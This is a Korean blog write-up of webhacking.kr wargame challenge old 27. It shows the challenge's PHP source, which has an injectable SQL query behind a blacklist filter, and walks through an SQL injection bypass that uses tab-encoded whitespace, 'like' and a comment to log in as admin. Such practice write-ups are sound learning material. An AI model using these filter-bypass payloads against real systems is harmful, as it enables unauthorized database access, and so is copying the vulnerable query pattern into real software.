Wargame/webhacking.kr

Challenge old 27 (150)

마띠(쥔장) 2019. 11. 4. 00:56

view-source를 보면

<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>

요기가 메인이네요!

 

일단, 18번과 비슷하게 id와 no값이 저장된 chall27이라는 아래와 같은 테이블에서, 

id      no

guest    ?

admin  2

 

admin으로 들가면 풀리는 것 같네요!

 

  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");

 

역시 위 코드가 문제인데, and 이후를 변형시켜서 앞의 id='guest'인 부분은 무시되게,

no=2 부분이 잡혀서 admin으로 ㄱㅏ면..될 것 같은데

preg_match부분에서 필터링 되는 부분이 있어서 우회해야 겠죠

 

일단, no와 1을 입력하면 guest로 뜨네여..

따라서 chall27 테이블은

id    no

guest    1

admin   2

이라는 의미없는 정보를 알게 되었습니다

 

select id from chall27 where id='guest' and no=({$_GET['no']}) 에서,

괄호가 앞에 있으니께 input값으로 2) or no=2를 넣으면,

 

안됩니다!

뒤에 또 뭐가 붙어서 뒤에 --를 추가해서 주석 처리를 해주면

 

안됩니다!

필터링이 돼서 그래서 =이랑 공백 필터링 우회해서

 

2) or no = 2 --를 우회해줄게여 그러면

2)%09or%9ano%09like%092%09--%09

가 되네여.. 되게 길게..

 

다행하도 이건 됩니다ㅜㅜ

728x90

'Wargame > webhacking.kr' 카테고리의 다른 글

Challenge old 23 (300)  (0) 2019.11.12
Challenge old 49 (300)  (0) 2019.11.05
Challenge old 18 (100)  (0) 2019.11.02
Challenge old 54 (100)  (0) 2019.10.13
Challenge old 39 (100)  (0) 2019.10.08